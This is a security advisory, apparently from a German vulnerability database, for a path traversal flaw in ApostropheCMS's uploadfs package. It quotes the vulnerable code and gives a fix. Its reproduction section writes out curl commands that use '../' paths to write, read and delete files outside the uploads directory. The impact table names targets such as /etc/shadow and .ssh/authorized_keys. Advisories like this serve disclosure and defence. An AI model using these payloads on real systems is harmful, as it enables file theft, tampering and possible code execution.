Niedrig

ApostropheCMS: Path traversal in uploadfs

Veröffentlicht: 20.10.2026
Aktualisiert: 22.10.2026 18:07

Summary

The uploadfs library's local storage backend does not validate or sanitize user-supplied paths. The prefixPath() helper only strips double slashes (//) and the backend performs direct string concatenation (uploadsPath + path). An attacker can inject ../ sequences to escape the intended uploads directory, resulting in arbitrary file read, write, and delete on the host filesystem.

Details

Root Cause

packages/uploadfs/uploadfs.js:652-655

https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/uploadfs.js#L652-L655

function prefixPath(path) {
    // Resolve any double // that results from the prefix
    return (self.prefix + path).replace(/\/\//g, '/');
}

packages/uploadfs/lib/storage/local.js

https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L92-L95 https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L102-L104 https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L106-L108

copyIn: function(localPath, path, options, callback) {
    const uploadPath = uploadsPath + path;  // [VULNERABLE]
    return copyFile(localPath, uploadPath, callback);
},
streamOut: function(path, options) {
    return fs.createReadStream(uploadsPath + path);  // [VULNERABLE]
},
remove: function(path, callback) {
    const uploadPath = uploadsPath + path;  // [VULNERABLE]
    fs.unlink(uploadPath, callback);

prefixPath() does not normalize paths or reject ../.
The local backend concatenates the path directly into the filesystem call.
Node.js resolves /app/uploads/../../../tmp/pwned.txt → /tmp/pwned.txt.

Proof of Concept (PoC)

Here is the poc files https://drive.proton.me/urls/AKY4V5S0JR#Vw6XJdVCZafk

Build and run

bash

docker load < apostrophe-uploadfs-poc.tar
docker run -d -p 3000:3000 --name uploadfs-poc apostrophe-uploadfs-poc
python3 exploit.py

Expected output

[UPLOAD] Status: 200 | Body: Uploaded to ../../../tmp/pwned.txt
[READ]
Status: 200| Body: You have been pwned!
[+] Vulnerability confirmed: arbitrary file write/read/delete via path traversal.

Manual reproduction

bash

# Write outside uploads directory
curl -X POST http://localhost:3000/upload \
  -F "path=../../../tmp/backdoor.txt" \
  -F "file=@-;filename=backdoor.txt" <<< "malicious content"

# Read it back
curl "http://localhost:3000/read?path=../../../tmp/backdoor.txt"

# Delete it
curl -X DELETE "http://localhost:3000/remove?path=../../../tmp/backdoor.txt"

Impact

Capability	Risk
Arbitrary File Write	Write to `/etc/cron.d/`, `.ssh/authorized_keys`, or webroot files → Remote Code Execution
Arbitrary File Read	Exfiltrate `/etc/shadow`, application configs, database credentials
Arbitrary File Delete	Destroy system or application files → Denial of Service

Remediation

Add path containment validation inside uploadfs (and every storage backend) before any filesystem operation:

const path = require('path');
function safePath(base, target) {
  const resolved = path.resolve(base, target);
  if (!resolved.startsWith(path.resolve(base) + path.sep)) {
    throw new Error('Path traversal blocked: target is outside the intended directory');
  }
  return resolved;
}

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

Plattform	Paket	Anfällige Versionen	Behoben in
npm-Paket	uploadfs	< 1.28.0	1.28.0

Verweise

CVSS-Wert 3.3/10

CVSS-Vektor: CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N
Schwäche (CWE): CWE-22
Plattform: npm
Paket: uploadfs
Veröffentlicht: 20.10.2026
Aktualisiert: 22.10.2026 18:07

Quellen und Lizenzen

OSV / GitHub Advisory Database - GHSA-gmfx-5g6x-rr72 - CC BY 4.0

Schwachstellenhistorie: uploadfs

Alle veröffentlichten Schwachstellen dieses Pakets (npm-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Einträge insgesamt: 2
Erste → letzte: 10.2026 10.2026
Ohne Fix: 0
In Angriffen ausgenutzt: 0

Verteilung nach Schweregrad

Mittel 1
Niedrig 1

Veröffentlichungen pro Jahr

2026: 2

20.10.2026

ApostropheCMS: Path traversal in uploadfs dieser Eintrag

Niedrig · 3.3 CVE-2026-113651 < 1.28.0 1.28.0
20.10.2026

ApostropheCMS uploadfs Azure-Backend legt SAS-Token auf Kontoebene in öffentlichen URLs offen

Mittel · 5.6 CVE-2026-113652 >= 1.25.0, < 1.28.0 1.28.0

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden